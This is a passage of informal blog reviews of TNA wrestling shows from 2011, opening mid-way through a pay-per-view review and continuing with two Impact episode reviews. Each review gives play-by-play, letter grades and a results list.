The fans aren’t that pleased here it seems.  Out to the floor with Max in control as he shouts Come On Frankie.  Jawbreaker gives Max more control and a dropkick gets two.  We hit the mat and Kaz gets beaten on even more.  Kaz gets a gutwrench suplex off the middle rope to put both guys down.  Spinwheel kick gets no cover for the champ.

Springboard legdrop gets two.  Fade to Black is countered so Kaz settles for a jumping neckbreaker for two.  Fade to Black is countered again into a Buckle Bomb as Max takes over again.  Elevated DDT sets up a 450 for two.  Surprised by that kickout.  Kaz punts him kind of and a sunset bomb sends Max head first onto the concrete.  That sounded sick.  THAT gets two as this is a better match than I was expecting.  Fade to Black STILL can’t hit but a Shining Wizard ends Buck finally.

Rating: B. Match of the night so far and a rather unexpectedly long and decent match.  There was zero drama which hurt things a lot here but the match was really quite good.  The ending was a bit abrupt but it was still a good outing by both guys which came out of nowhere, which is always a nice perk.

Abyss says it’s going to take more than Janice to get rid of him.  He keeps going despite everything that’s happened to him.  The teeth he got knocked out of his mouth were delicious apparently.  He has Crimson tonight.

Quick recap of Crimson vs. Abyss says that Crimson injured Abyss and is undefeated.  This is revenge time.  Simple and sweet I guess.

Crimson vs. Abyss

They charge at each other after a brief staredown and it’s a battle of the big men.  Shoulder block takes Abyss down and a clothesline sends him to the floor.  Out to the floor as this is mostly just a brawl.  All Abyss here.  This is one of those slow matches where a lot of the match is one guy (Crimson in this case) laying around while Abyss moves very slowly.

Crimson tries a comeback and a double clothesline puts both guys down.  More power man stuff leads to a chokeslam by Abyss for a very close two.  And hey it’s time for Janice.  The referee wisely runs off to the floor instead of DQing Abyss.  Since it would be near murder for that to hit Crimson he gets a spear for two.

Shock Treatment doesn’t work as Crimson gets a double arm DDT for two.  Abyss comes back again and a Vader Bomb gets two.  Corner splash misses and Crimson gets a Sky High Powerbomb (Red Sky) to end this.  That’s a good finisher for him as that Red Alert is almost impossible to hit on big guys.

Rating: C. This is a good example of a match that got better with the finish.  Abyss not having enough to put Crimson down is a nice addition to his whole undefeated streak.  Better than I expected and not bad at all for a battle of the big men.  Crimson could be something interesting if pushed right but they need to get him onto something significant quickly.

We recap Beer Money vs. Matt/Harris which is a weird team to say the least.  Basic idea is Harris knows Storm so that’s their advantage.

Tag Titles: Beer Money vs. Matt Hardy/Chris Harris

The former partners start us off as Harris’ tights say America’s Most Wanted.  The fans chant Braden Walker and it’s off to Matt before any contact.  The champs take over on Matt as Walker is indeed bigger than he was the last time we saw him.  Now it’s Harris in against Storm’s new “partner”.  Off to Storm now and Harris runs off as Storm glares at him.

The challengers keep using AMW moves on Storm in an attempt at psychology but the gut of Harris keeps covering it up.  Codebreaker out of nowhere puts Matt down but Storm needs a tag.  Double tag to ZERO reaction and Roode plays face in peril again.  Roode gets his back worked on via a middle rope elbow by Hardy and it’s off to a gutwrench.

Finally off to Storm who gets to beat on Harris.  Skin the cat sets up an elevated DDT to Harris.  Reverse tornado DDT gets two for Storm.  He likes those DDTs I guess.  Matt breaks up DWI but it’s a Backstabber for him.  Catatonic doesn’t work and Roode hits a spinebuster to Harris.  The Beer Money shout sets up a superkick to Harris but Storm doesn’t want to do DWI.  Instead it’s the Death Sentence (Trash Compactor for you REALLY old school fans) and Harris is done.  Matt apparently just walked off and left Harris somewhere near the end.

Rating: C-. Just a match here as Harris dragged this WAY down.  He’s terribly out of shape and his selling and timing were way off.  It seems like the Harris thing is probably going to lead to an AMW reunion because that’s the best way to use a guy like Storm right?  Either way, weak match and not much to write home about at all.

Ray yells at Borash a bit “because he can.”  JB asks about Dreamer and Ray says it’s none of his business.  Ray and Dreamer know why Dreamer is doing what he’s doing and JB doesn’t need to know.  Apparently AJ needs to drink, listen to rock and roll and chase women.  Ray threatens AJ’s family, including implying sex with AJ’s wife.

Tommy Dreamer vs. AJ Styles

Very basic technical match to start and remember that this is no DQ.  Why Immortal isn’t out there destroying AJ immediately eludes me but whatever.  Dreamer takes over for a bit and drops a bunch of elbows.  Out to the floor and AJ hits a plancha to take over.  AJ pours a soda over Dreamer’s head and crotches him on the railing.  He slides under the railing and it’s forearm time.  Love that move.

Out into the crowd because that’s just what we do.  The fans chant ECW which is I guess what TNA wants to do.  Dreamer breaks a cardboard Impact (no wrestling) sign over his head and AJ is bleeding from around the temple.  Back to ringside and it’s time for some weapons.  AJ gets a shot in and there’s a table.  Table gets set up as the fans want fire.  AJ uses the table like a launch ramp for a clothesline in the corner for two.

DDT by Dreamer gets two as AJ is under the ring ropes.  I love little rules like that which are cool while there are all kinds of weapons in the ring.  Dreamer finds a fork for a throwback to their I Quit match but AJ blocks it.  Dreamer’s shirt is off and I’m very glad he has a muscle shirt under it.  The table legs are broken but AJ says Dreamer is going through it.

Dreamer gets a shot in and sets for the Dreamer Driver only to get caught with a Pele.  Styles Clash is set but Ray comes in with a chain shot to AJ.  Daniels comes out for the save but AJ is more or less dead.  Piledriver through the table marks the second time that Tommy Dreamer has pinned AJ Styles on PPV.  I give up.

Rating: C-. Tommy Dreamer has pinned AJ Styles twice on PPV in less than a year.  Dude, WHY IS TOMMY DREAMER PINNING AJ STYLES ON PPV???  The match was just ok but at the same time it was nothing past a basic hardcore match and Ray coming in was about as not shocking as anything you could have asked it to be.

We recap the Jarretts vs. Angle/Chyna.  Basically Chyna is there to take care of Karen and that’s about it.  Velvet Sky was the prime suspect and that went nowhere.

Jeff Jarrett/Karen Jarrett vs. Kurt Angle/Chyna

This should be….interesting.  Christy points out that it’s guy on guy and girl on girl.  Those exact words.  TNA seems rather sexually frustrated tonight for some reason.  Chyna looks like Captain America.  We get a vague reference to Chyna and Jarrett feuding over the IC Title back in WWF without saying any of that of course.  The guys start because we haven’t seen that in awhile right?

Loud Angle chant to start us off as Karen is about to cry.  Chyna’s Gonna Kill You according to the crowd.  Chyna gets tagged in and Karen hides on the floor.  Jeff sneaks around and comes in as apparently he’s still legal so Kurt doesn’t have to be tagged in.  Ankle lock goes on but Karen’s distraction leads to her being almost fed to Chyna.  Gorgeous dropkick by Jeff puts Kurt down.

The fans want Chyna which means she might do a total of one move.  Jeff and Kurt do the majority of the work here as you would expect them to.  Kurt snaps back into it (OH YEAH!) and a belly to belly gets two.  Angle Slam can’t hit and it’s Rolling Germans time.  Jeff takes over again and says it’s over.  Stroke is countered into the ankle lock but Jeff escapes.  Angle Slam hits for two.

Chyna finally gets tagged in and (mostly) slams Jeff.  Supelx looks a bit weird and Karen says I love you but no.  Chyna goes after Karen in full on stalker mode but Karen walks into Kurt in the ring.  Chyna gets her and hits a splash/clothesline in the corner.  Pedigree hits and Tenay calls it a DDT.  That has to be better than the powerbomb.  Ankle lock goes on but Jeff won’t let her tap.  Angle grabs one on Jarrett and Karen taps.

Rating: C. I’m not sure what to grade this so we’ll go with it right in the middle.  While it wasn’t much, this was more or less exactly what they had to do.  Chyna isn’t tested in the ring recently and Karen can’t wrestle so they let the guys have a quick match and let Chyna hit like two moves to end it.  The feud is likely going to continue unless they had the weakest blowoff in recent memory.  Not great, but exactly what it was destined to be.

We get the same recap video from Impact (I think).  Nothing of note here: RVD never lost the title, Sting handpicked him for the rematch.

TNA World Title: Rob Van Dam vs. Sting

Anderson, in a Packers Favre jersey and with a laptop at the table apparently, is going to sit in on commentary.  I think he’s doing a live chat during the PPV.  No big match intros here.  Very basic and technical stuff to start us off which is a theme tonight.  Both guys miss moves and Van Dam hits the floor for a breather.  That’s a borderline heel move.

RVD takes over as Anderson mentions the heelish aspects to him tonight.  A spinwheel kick in the corner misses as does a Stinger Splash as we head to the floor.  Van Dam tries a leg drop off the railing and hits railing, possibly hurting his knee.  Into the crowd again as Van Dam reverses a whip into a wall or something.  Anderson makes PG jokes because those haven’t been done in SO long right?

Van Dam gets kicked into a guard rail up in the crowd and both guys are down.  Sting gets kicked down the stairs and dove on in a cool spot.  Back in the ring and it’s the kick off the top by Van Dam as this has been the main event brawl so far.  Knees to the back counter Rolling Thunder and Sting is fired up.  Another Stinger Splash misses in the corner as does the Five Star.

Rollup gets two for Sting and the Death Drop actually hits for….the completely clean pin out of absolutely nowhere.  That’s one of the most anticlimactic endings I have ever seen in my entire life.  Anderson kept running his mouth the entire time and again, absolutely nothing happened here.  He has something special for Sting on Impact apparently.

Rating: C-. Sweet goodness man TNA can’t get a main event to work well for the life of them it seems.  Sting winning isn’t a shock but there was NOTHING as far as an ending sequence there.  Literally Sting grabbed the move, hit it and we were done.  No kickouts, not big segment, just a totally clean win.  Not a bad match, but dude, that’s it?

Anderson goes to the ring and stares him down and we’re out.

Overall Rating: C+. This was such a played close to the vest show that it was unreal.  It was a decent show and there isn’t a bad match on the card, but nothing is great at all and the best match is only good at best, being the X Title match.  It’s a decent enough show but it’s a show that didn’t need to exist for the most part.  Nothing really happened here and other than Chyna’s first match in like ten years, nothing is going to be memorable about this as far as I can tell.  Decent enough show though and it held my interest for about 90% of it, but definitely not worth $40 or whatever it costs.

Results

Mexican America b. Ink Inc – Sitout Dominator to Neal

Brian Kendrick b. Robbie E – Leg lariat

Mickie James b. Madison Rayne – Pin after Tara hit Rayne with a loaded glove

Kazarian b. Max Buck – Shining Wizard

Crimson b. Abyss – Red Sky

Beer Money b. Matt Hardy/Chris Harris – Death Sentence to Harris

Tommy Dreamer b. AJ Styles – Piledriver through a table

Kurt Angle/Chyna b. Jeff Jarrett/Karen Jarrett – Ankle lock to Karen Angle

Sting b. Rob Van Dam – Scorpion Death Drop

Impact
Date: April 28, 2011
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz
Episode Title: Queen Clouseau

Impact has had two straight decent if not good shows in a row.  After last Monday’s rather weak draft show, maybe is their chance to have a couple straight weeks in a row better than Raw.  I’d expect more of the same kind of build to Sacrifice as we saw last week, which resulted in some decent stuff.  That being said, let’s get to it.

We open with a recap of the Angle vs. Jarretts thing last week and Angle talking about his mistress that will hurt Karen for him.  Also we get a clip of the Sting vs. Hogan stuff from last week with the Network.

The Jarretts come out with all the women in the ring, including some women from catering.  This is to find out who the mistress is.  Karen has an umbrella to avoids falling feces.  Karen starts with an older lady from catering.  She says the catering woman is too nice to Kurt by trying to get to him through his stomach.  The girl says really?  She has pot roast to make.  Maybe Jeff can take some tips from Jeff on how to flip burgers.  Karen says Taco Tuesday sucks which ticks off Sarita and Rosita in a funny bit.

The catering lady leaves so Karen goes after Jolene the seamstress.  Mickie isn’t here by the way.  Jolene says it’s her job to run her hands over Kurt to find out his measurements.  Karen throws her out too and moves on to Tessmacher.  She points out that Tessmacher got to the building at the same time as Angle.  “You mean at our jobs?”  Karen asks about being at the gym with Kurt.  “You mean like with the other 25 wrestlers?”  These are the same questions the cops asked Goldberg when he was accused of stalking Liz on the night of the Fingerpoke of Doom.

Time for some racial stereotype jokes for Sarita and Rosita who she calls hot and spicy and rice and beans.  Sarita curses in Spanish and says they’re MEXICAN America, not Americans.  They leave also as it’s off to Madison and Tara.  The two of them and Angle are all former TNA champions remember.  Madison says Tara would lay down for Kurt because she’s a dirty sl**.  Tara spits on Madison and Madison implies Tara would try to sleep with Jeff.

That leaves Velvet as Winter and Angelina aren’t here either.  Karen says that Velvet is at the end of her rope so she’s trying to get on Kurt’s.  Karen implies Velvet is a lacking in a few morals and Kurt has to save Karen from a big slap.  Velvet slaps Kurt and the catfight is on.  Here come Winter and Angelina as Angelina beats up Velvet as the Jarretts leave.  Winter tells So Cal Val to ring the bell as this is a match apparently.

Angelina Love vs. Velvet Sky

Angelina is controlling early as we get a referee and take a break.  Back with Angelina choking away in the corner.  She’s still in the trance as she dominates.  This is a very slow paced match as Angelina has to show no emotion at all which is a decent character twist but it causes some boring matches.

Off to a chinlock for a bit which goes nowhere.  Velvet hammers away but there’s no response from Angelina.  Love chokes away and pounds on Velvet as this keeps starting and stopping.  Velvet fires back with some facecrushers to the knee which the camera is able to cut away from in time to keep from seeing them miss the knee by a foot.  Winter interferes though, allowing the Botox Injection (Bicycle Kick) to set up a choke to end this at 10:20.

Rating: D-. This was one of the worst female matches I’ve seen in a very long time.  It went WAY too long and the moves were missing left and right.  Angelina as a zombie is a cool character twist but at the same time they need something a bit different than the whole stand around, throw a punch every ten seconds and use Winter’s finisher to end this.  Wasn’t impressed at all.

Anderson gets here 26 minutes into the show in a big truck.  He wants his title shot.

Back with Matt Morgan looking for Steiner.  Has he been walking around ranting for half an hour?

Anarquia vs. Chris Sabin

Christy Hemme is announcer tonight who is definitely an upgrade from Jeremy Borash visually.  Anarquia says that next week we’re celebrating Cinco de Mayo.  Sabin takes over quickly to start and gets something resembling a springboard double axe but he injures his knee on it.  The replay shows that the knee bent in a way it wasn’t supposed to at all.  A small package ends this at 1:21.  Mexican America sets for the beatdown but ALEX SHELLEY returns for the save.  If that’s a fake knee injury I’m rather impressed as the replay looked like his knee legit bent the wrong way.

Steiner is playing with a kids golf toy and says he jumped Morgan because he was there.  Lots of censored words here as Steiner says he’d shoot himself if he had Morgan’s DNA.  If Morgan is looking for him he’s not a hard man to find.

Back with Morgan finding Steiner who runs off.  Morgan chases after him and Steiner jumps him and takes over in the war of alliteration.  Morgan gets choked with a stick of some sort and lots more words are censored.  Morgan fights back and chokes him with his boot.  This is your weekly big brawl backstage.  Steiner says he’s sorry but is thrown into a well placed refrigerator.

Sting goes up to Anerson’s truck in the back and pulls out the bat.  Faster than you can say “Mr. Borden you have the right to remain silent”, Sting becomes a vandal on national TV.  The fans cheer for this.  Sting starts to leave but climbs up on top of the truck and hammers away some more.  The lesson to be learned here: use public transportation.

Daniels vs. Gunner for the TV Title next.

TV Title: Gunner vs. Daniels

Gunner is the ace in the hole for Immortal apparently.  Daniels uses his riveting style of strikes to take over but Gunner fires back with basic heel power offense.  Crucifix gets two for Daniels as he strikes even more.  Gordbuster (with Daniels landing on his head) gets two.  Daniels shouts GIVE ME YOUR BEST and comes back with, you guessed it, more strikes.  A running STO takes Gunner down as does a cross arm front slam off the top.  Release Rock Bottom by Daniels sets up the BME but Gunner moves.  Daniels goes face first into the post and an F5 gives Gunner the clean pin at 6:05.

Rating: C-. Not bad here and you can’t say they’re not pushing someone here.  Gunner is something to keep an eye on as he looks good and isn’t bad in the ring.  Daniels is apparently a midcard jobber already which doesn’t really shock me at all as that tends to be where he winds up.  Nothing special here at all.

Here’s Sting who talks about how he’s trying to get rid of Hogan and Bischoff but Anderson won’t leave him alone.  He calls out Anderson who has a bat in hand.  Anderson asks point blank if Sting bashed out all the windows in his truck.  Sting says he didn’t do it.  Anderson: did you do it?  Sting: No.  Anderson: did you do it?  Sting: Yes.  Anderson pulls the bat back and says he’ll get it replaced because he’s rich.

Anderson promises to one-up Sting every time with these tricks.  Since Sting has the power to pick his own opponents, Sting can make this end by picking Anderson for his title shot.  Anderson wants it tonight but here’s RVD to cut him off.  Van Dam says he’s glad Sting is being straight up with him and do whatever you have to do to get rid of Anderson.  Sting says ok let’s do it tonight.

Here’s Hogan who says he loves to see Sting handing out title shots.  If Sting wants a fight then he’ll get it.  Hogan makes it a three way, adding in Bully Ray.  Oh dear.  Sting looks like he’d dead.

Joe talks about Crimson and liking his style with sticking Janice in the back of Abyss.  Joe says the winning streaks they had aren’t the same because Crimson hasn’t been tested.

Crimson vs. Samoa Joe

We hear about Joe being undefeated for 18 months which was eventually broken by Angle.  Crimson takes over to start and locks on a Cravate.  Joe fires back and his strikes, including an enziguri for two.  Nice overhead suplex by Crimson and a neckbreaker get two.  Another enziguri misses for Joe so Crimson tries a suplex.  The key word being try as Joe counters with the power of fat.

They slug it out and Crimson runs into the release Rock Bottom.  We hit the floor and Abyss runs in for the DQ, drilling Crimson at 2:58.  Match was good while it lasted.  Joe looks at Abyss and walks off.  The match is called a no contest, despite Crimson getting jumped.  Shouldn’t that be a DQ win for Crimson?  Black Hole Slam leaves Crimson laying.

Anderson says he doesn’t want a three way but he’ll take it anyway if it’s all he can get.  More censored words here as I guess TNA isn’t PG.

Angle says that Karen isn’t even close with her guesses.  The mistress might be here next week.  It’s no one anyone knows apparently.

Here’s Mickie who says her goal is to be the best women’s wrestler ever.  She dedicates the win to the fans and says it’s because of the fans that the roster can come out here and live their dreams.  Short and to the point.

Ray is talking to Abyss and says Ray being champion would tick off the wrestling world.  He’d trade in his 23 tag titles for one reign with it.

TNA World Title: Mr. Anderson vs. Sting vs. Bully Ray

Borash does the intro here.  We get big match intros to kill some time.  Sting goes after Anderson to start as Ray chills in the corner.  The announcers play up Sting defending the title a lot recently so he might be a bit tired here.  Ray jumps in and gets a side slam for two on Sting.  We hit the standard three way formula as one guy dominates and gets a pin attempt on another while the third guy saves, then another guy takes over.  Ray pulls Anderson off the top as we take a break.

Back and all three guys are in the same place meaning we missed nothing during the break.  Anderson and Ray slug it out with Anderson going down via an elbow.  Sting finally gets up and takes down both guys.  Stinger Splash to Anderson and Sting avoids a charging Ray.  Down goes the referee as Ray pulls the referee into Sting’s path.  Ray picks up the pipe and pops Sting in the ribs with it, saying that was for Hogan.  AJ comes in for the save and Sting gets a shot with the pipe to Ray for the pin at 11:35 total which was probably about 8:00 taking out the commercial.

Rating: C+. Not a terrible match here but three ways are hard to pull off when you have Bully Ray running the majority of the match.  This was designed to set up Anderson saying he still hasn’t gotten his title shot, meaning more of the same for the coming weeks.  Not bad, but really nothing we haven’t seen a bunch of times.

Anderson has the pipe as we go to a break.

Ray says AJ had no business being there.  Now he’s cost Ray a title so AJ has to sleep with an eye open.  Next time it’s concrete, not a table.  Ray threatens AJ’s family and says AJ shouldn’t be here next week.  AJ can’t hurt him because he’s a WARRIOR.

AJ says Ray will pay.

Scott Steiner says he beat up Morgan and that Morgan is half of the man Steiner is.  He makes fun of Morgan for being a basketball player.  Next week Steiner will get him.

The Jarretts say this has gone on too far.  Preach it brothers!

Velvet complains about Karen and Angelina.

Karen says she doesn’t have any enemies so she doesn’t know who Kurt could have.  And that’s it.  No mention of Anderson and the pipe again at all.

Overall Rating: C-. This wasn’t as good as what TNA has had for the past few weeks but it wasn’t anything too bad.  A lack of Hogan and Bischoff helped this a lot I think as Hogan was only here for a quick promo about Ray and Bischoff wasn’t here tonight.  The matches they’re going with for Sacrifice are pretty clear so I’d expect the card to get a lot more filled out in the next week with official announcements.  Not a terrible show, but a slight step down from the last few weeks.

Results

Angelina Love b. Velvet Sky – Choke Out

Anarquia b. Chris Sabin – Small Package

Gunner b. Christopher Daniels – F5

Samoa Joe vs. Crimson went to a no contest when Abyss interfered

Sting b. Bully Ray and Mr. Anderson – Sting pinned Ray after a shot with a steel pipe

Impact
Date: March 17, 2011
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

Well it’s the first show after the disaster that was the ending of Victory Road.  Hardy is not here tonight apparently which is about as little as you could ask for.  Jeff Jarrett said that he would call out Angle for a truce on tonight’s show, meaning their feud is likely going to continue until Lockdown.  We’re on the road to said PPV now, so let’s get to it.

Immediately Sting is here and he has a new TNA World Title belt which looks a bit like a UFC belt.  He has the Hardy belt in his hand.  Sting says that before Hogan’s show starts he wants Hogan and Bischoff down here now, or the show won’t start.  With the men in power in the ring, Sting hands Hulk the belt and says that’s all that’s left of Jeff Hardy.  Hogan throws it to the floor.

Sting wants to know how it feels to ruin a superstar like Jeff Hardy.  Sting says that Jeff is a grown man but Hogan and Bischoff turned him into something twisted and dark.  If they try to turn Jeff face out of this, I’m not sure what to think of that.  Sting says he can’t help Jeff Hardy but he can help the 50 guys in the back that are ready to go.

Hogan says he’s a Johnny Come Lately and that Hardy cost Immortal, not the other way around.  Hulk says that Jeff’s demise was his own fault and he couldn’t live up to the Immortal standards.  Hogan asks Sting why Immortal is all at the top of its game, even Matt Hardy.  Did he really just say that?  Hogan threatens Sting, saying don’t worry about saving the boys in the back, but rather saving himself.

Since he came back two weeks ago there have been main event guys calling him all the time wanting to come here and wanting to take Sting’s place.  Sting wants to know who’s been calling.  Cue, I kid you not, Bully Ray.  Ray says that he’s been ringing the phone off the hook because he’s been waiting for this chance all his life.  Ray kisses up to Hogan a bit, saying without him there would be no wrestling business.  True, but why is Bully Ray saying this?

He talks about how no matter what Sting does, he’ll never be able to beat Hogan.  The Bully asks to be part of Immortal and wants to become world champion.  The interesting thing is that Ray can actually talk well enough to be on this level, but at the end of the day he’s Bubba Ray Dudley.  Hogan says don’t worry about Sting and here’s Fourtune as we take a break.

Back with AJ saying Fourtune has Sting’s back.  He says Ray has always wanted to be a singles wrestler but he had a partner for the last 15 years that carried the load.  Bully wants to smack the silver spoon out of AJ’s mouth because Dixie has been carrying AJ the whole time.  Ray says without D-Von he would have been a 23 time world champion.  AJ slaps Bubba and here’s Anderson because there aren’t enough people out here already.

Anderson wants his rematch and says he’s a jerk about 10 times.  The fans laugh, proving why this is stupid.  It’s not a moment where people are supposed to laugh.  Hogan says Anderson couldn’t beat RVD.  Anderson says RVD couldn’t beat him either, so “it’s your call, TERRANCE.”  Oh yeah, he went there.  Bischoff does the ratings thing, four way is made: AJ vs. Ray vs. Anderson vs. RVD.  Great.

Angle is here with a big present for the newlyweds.

Back with AJ talking to RVD and wanting a partnership tonight in the main event.  RVD isn’t sure but more or less says no.

Knockouts Title: Madison Rayne vs. Alissa Flash

It’s another open challenge here.  Flash is more commonly known as Cheerleader Melissa or Raisha Saed.  And the Rayne Drop ends this in 19 seconds.  Why did this happen again?  Oh so Mickie James can come down.  Let me guess: that’s Lockdown because we didn’t have it enough in previous months?  Mickie makes the obvious challenge but Madison says Mickie has to put her hair up.  Mickie says cool.

Pope, looking like Orlando Jordan, is with a bunch of people that are pretending to have various ailments such as being fat, blind and in a wheelchair that he’s going to pretend to heal.  Oh dear.

Back with Anderson yelling at Hogan more.  He wants to know why he has to fight for a title shot he already owns.  That’s a great question since he won a #1 contenders match about three weeks ago.  Hogan says Anderson couldn’t beat RVD like always.  Hogan says do things the hard way or our way and he throws the cameraman out.

Time for Pope who is in a white suit.  He says that miracles need to be performed and tonight there will be miracles happening.  Pope says that Jesus can do this and so can he.  He takes the “blind” man’s glasses off and spits on his own hands, calling it holy oil.  The man can see now.  Next up is the lame man who he kicks in the legs and smacks him in the head.  The man pops up and kind of dances a bit.  Up last is the chick in the fat suit.  Pope grabs her…stomach I think and says that no one including Jesus could help her lose weight.

FINALLY Joe comes out to end this along with Okato.  This feud couldn’t be stupider if they tried to make it worse.  Pope yells at Joe for ruining Pope’s stuff.  Joe is getting fatter by the second I think.  Pope throws the people into it and pulls Okato out.  He puts a knife to Okato’s throat and in a funny bit keeps hitting Okato in the head for stepping on Pope’s shoes.  Pope kicks him in the cuts and throws him into the entrance area before jabbing his knife into his throat, showing that it’s fake.

Back and Pope is beating on Okato who is tied up.  Wait….where is Joe?  He takes the mask off and says he doesn’t like how Okato looks so put the mask back on.  He beats on Okato forever with a stick or a pole or something until Joe FINALLY shows up.  I guess they ran out of catering.  Also he calls him Okada when he comes up.  Joe is all mad or something.

RVD comes up to Anderson in the back and accuses him of joining Immortal.  Nothing of note is said but Anderson denies it.

Velvet and Winter argue about who gets to team up with Angelina as we hit one hour into the show.  Angelina leaves with Winter.

Here’s are the Jarretts for MORE TALKING.  Seriously, 60 minutes in, 19 seconds of wrestling.  Jeff calls himself the Ultra Male now.  I give up.  He says he has nothing left to prove but gets stopped by a Jarrett sucks chant.  There is nothing left for him to do to Angle so for the good of the kids, he’s offering a truce.  He says that they need to get along for the sake of their kids (are they breaking up or something?) and he’ll let Kurt beg for forgiveness.

Angle comes out with the big gift from earlier.  It’s pretty good sized, probably about four feet long and two feet wide.  I’d die of laughter if it’s an axe.  Angle says that Jeff is the better man and the father/husband that Kurt never could be.  He has a peace offering but Jeff is skeptical.  Jeff opens the paper like it’s Christmas morning and it’s…another box.  It’s a guitar with an American flag on it.  Naturally it winds up around Jeff’s head.  Karen tries to hit Angle in the balls butt there’s no effect.  I knew those steroids would catch up with him.  Ah it’s a cup.

He takes it out and smiles but then turns to yell at Jeff more.  Hey Karen, HIT HIM NOW!  Jeff is bleeding as Kurt says he’ll go medieval on him.  Kurt wants a match at Lockdown or he’ll come and hurt both of them.  Jeff, bleeding from the eye, says yes.  Kurt says don’t bother going to Hogan or Bischoff because he’ll find Jeff and hurt him.  Tell me that’s the end of the feud.

Bischoff is talking to Gunner/Murphy/Terry in the back and we hear the WE MUST HAVE ALL THE TITLES speech again.  Abyss has been stripped of the title (finally) and one of those three will win the title.

There’s a six person street fight coming later.

Back with Karen wanting the police here and shouting into the phone about it.  Jeff is mad at Kurt.

We get a video package about the TV Title match.  Why in the world do we need a hype video for that?

TV Title: Rob Terry vs. Gunner vs. Murphy

Gunner has the tattoos.  Got it.  The tag team jumps Terry but then splits up soon.  Hogan’s wife and Brooke (looks JUST like Linda) are here.  We split the screen for a bit to show that the cops are here for Angle.  People keep trying to steal wins which gets them nowhere.  Murphy and Terry slug it out with Terry winning.  Gunner pops up to spear him and then hits a modified F5 to win the title at 1:47.  The match didn’t even make it to two minutes.  Wow indeed.  Bischoff comes out to applaud.

AJ says he was trying to help RVD, not himself.

Back with the cops telling the Jarretts to chill.  Karen mentions a restraining order.

Hernandez/Sarita/Rosita vs. Matt Morgan/Winter/Angelina Love

Well I’ve always been a fan of mixing feuds like this.  Also, oddly enough Sarita might look better in long pants which is surprising.  Hernandez says welcome to Mexican America.  He says they’re taking over and whistles into the microphone.  Winter’s music is like a messed up lullaby which is pretty freaking awesome.  She has the blindfold on again.  This is a street fight.

Morgan hits the ring in jeans and the fight is on.  Oh and it’s one of those street fights where you have to tag.  The guys start as the girls fight on the floor.  The corner thing didn’t last long.  Morgan hammers away but the girls jump on him (lucky bastard).  He throws them off and Winter/Angelina destroy them.  A spinning backbreaker ends Rosita in 1:24.

Post match some Mexican guy (who appears to be Matt “Lowrider” Barela who was OVW Champion for the majority of last year) comes in but Morgan fights them off.

We come back with a recap video of the Anderson/RVD match at the PPV.

AJ Styles vs. Bully Ray vs. Mr. Anderson vs. Rob Van Dam

It’s 10:36 when these entrances start so there’s a ton of time here.  Surprisingly there’s no bell before we start.  Anderson vs. RVD and AJ vs. Ray to start.  No tagging here and it’s one fall to a finish which helps a bit.  Ray runs over AJ who nips up and takes him down with a rana.  Jumping forearm in the corner and AJ is in control.

Monkey flip is blocked and Anderson fights Ray.  RVD vs. Ray as AJ and Anderson have been knocked to the floor.  Van Dam gets Rolling Thunder but Anderson pulls Rob to the floor.  AJ gets a sunset flip on Anderson for two.  We’re firmly into the formula here of having each guy dominate for a bit but no one is really moving towards a finish.  At the moment it’s Ray taking over.

RVD takes down Ray but the Five Star misses.  Spinning Rock Bottom takes Anderson down but AJ gets a top rope cross body on Ray for two.  Middle rope kick to AJ gets two.  Neckbreaker to RVD gets two.  AJ dives out at Ray to the floor but lands on the ground.  Ray grabs a chair but Hebner pulls it away to save Styles.  The chair goes into the ring and Anderson suplexes RVD onto it and it’s a double pin at 5:55.  Ray drills the referee before the finish can be announced.  Are you serious?  RVD wasn’t on Anderson in any way at all.

Rating: C-. Decent match but dang it all GIVE US A CLEAN FINISH ALREADY!!!  Why is that so complicated?  I get that the triple threat at Lockdown is more or less a given, but dang it just announce that already.  This is beyond annoying at this point and the main event not even going six minutes is just pitiful at this point.

AJ and Ray fight up to the stage and Flair comes out to save Ray.  It’s a HUGE sitout powerbomb off the stage to put AJ through something that resembled a table next to the stage.  Everyone is out and we throw up an X.  They have to turn straightedge now?  We take a break with everyone down.

Back with Anderson and Ray having to be separated.  AJ is put in a neck brace and taken out on a stretcher.  So now their either first or second top face is doing an injury angle?  This is how the show ends.  We see replays and AJ is taken out.  That’s Impact for you this week folks.  Enjoy it TNA fans.  This is what you guys wanted right?  Give me a break.

Overall Rating: F. We get three and a half minutes out of the first 95 for actual wrestling and then we get that finish to the show?  Why does TNA always have to give us the “Thank you fans, but your #1 contender is on another show” finish every time?  We had 9:25 of total wrestling tonight.  I’m sorry but that’s ridiculous.  TNA had people paying attention after the Hardy fiasco and this is what we get?  Are you kidding me?  Terrible show where NOTHING happened.  This is one of the worst TV shows I’ve seen in months if not years.  Just awful.

Results

Madison Rayne b. Alissa Flash – Rayne Drop

Gunner b. Rob Terry and Murphy – F5 to Murphy

Matt Morgan/Winter/Angelina Love b. Rosita/Sarita/Hernandez – Winter pinned Rosita after a spinning backbreaker

Rob Van Dam vs. AJ Styles vs. Bully Ray vs. Mr. Anderson went to a no contest